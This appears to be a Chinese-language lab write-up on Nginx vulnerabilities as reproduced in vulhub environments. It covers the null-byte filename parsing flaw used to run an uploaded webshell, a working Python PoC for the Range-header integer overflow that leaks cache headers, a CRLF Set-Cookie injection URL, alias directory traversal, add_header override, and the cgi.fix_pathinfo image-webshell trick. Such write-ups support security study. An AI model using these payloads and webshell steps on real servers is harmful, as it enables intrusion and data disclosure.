这代表匹配以.php结尾的请求,然后交给fastcgi处理
这里是location的详细匹配规则
1.我们传入类似1.gif[0x20][0x00].php
能够匹配到location那个值
2.进入后,由于fastcgi在查找文件时被\0截断,Nginx却错误地认为请求的文件是1.gif[0x20]
3.fastcgi根据SCRIPT_FILENAME的值进行解析,最后造成了解析漏洞
测试:
我们首先提交php文件,可以看到是不行的:
然后我们上传图片文件:可以看到可以上传成功
现在我们上传利用漏洞的文件:
修改空白为[0x20][0x00]
这里改hex的原因是需要未编码的空格和/0
尝试访问该网页:
这里还有一个问题就是当我们上传了一句话木马,如果想用蚁剑连接的话[0x00]这个符号是输入不了的。。。。。
所以我的想法是如果有写入的权限的话,可以写入一个新的php文件,然后用蚁剑去连接:
Nginx在反向代理站点的时候,通常会将一些文件进行缓存,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。如果二次请求命中了该缓存文件,则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。
如果我的请求中包含Range头,Nginx将会根据我指定的start和end位置,返回指定长度的内容。而如果我构造了两个负的位置,如(-600, -9223372036854774591),将可能读取到负位置的数据。如果这次请求又命中了缓存文件,则可能就可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。
转载于:添加链接描述
vulhub中的poc:
import sys
import requests
if len(sys.argv) < 2:
print("%s url" % (sys.argv[0]))
print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
sys.exit()
headers = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605#地址偏移量
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
n, 0x8000000000000000 - n)//两个负的地址,就能够读取到http返回头的一些内容
r = requests.get(url, headers=headers)
print(r.text)
大佬用urllib库写的poc:添加链接描述
Nginx会将$uri进行解码,导致传入%0a%0d即可引入换行符,造成CRLF注入漏洞。
错误的配置文件示例(原本的目的是为了让http的请求跳转到https上):
location / {
return 302 https://$host$uri;
}
利用位置:
http://your-ip:8080/%0a%0dSet-Cookie:%20a=1
Nginx在配置别名(Alias)的时候,如果忘记加/,将造成一个目录穿越漏洞。
错误的配置文件示例(原本的目的是为了让用户访问到/home/目录下的文件):
location /files {
alias /home/;
}
测试:
访问 /files…/
修改配置文件:
然后再次尝试目录穿越:
可以看到没有办法进行目录穿越了
Nginx配置文件子块(server、location、if)中的add_header,将会覆盖父块中的add_header添加的HTTP头,造成一些安全隐患。
如下列代码,整站(父块中)添加了CSP头:
add_header Content-Security-Policy “default-src ‘self’”;
add_header X-Frame-Options DENY;
location = /test1 {
rewrite ^(.*)$ /xss.html break;
}
location = /test2 {
add_header X-Content-Type-Options nosniff;
rewrite ^(.*)$ /xss.html break;
}
但/test2的location中又添加了X-Content-Type-Options头,导致父块中的add_header全部失效:
payload:
/test2#
经过我的测试,不知道为什么浏览器弹不了窗
上传图片马:
访问uploads/1.jpg/.php,发现php代码被解析了
分析:
1.nginx将匹配到的末尾以.php的都交给fastcgi来进行处理。
2.但是fastcgi在处理’.php’文件时发现文件并不存在,这时php.ini配置文件中cgi.fix_pathinfo=1 发挥作用,这项配置用于修复路径,如果当前路径不存在则采用上层路径。为此这里交由fastcgi处理的文件就变成了’/1.jpg’。
3.最重要的一点是php-fpm.conf中的security.limit_extensions配置项限制了fastcgi解析文件的类型(即指定什么类型的文件当做代码解析),此项设置为空的时候才允许fastcgi将’.jpg’等文件当做代码解析。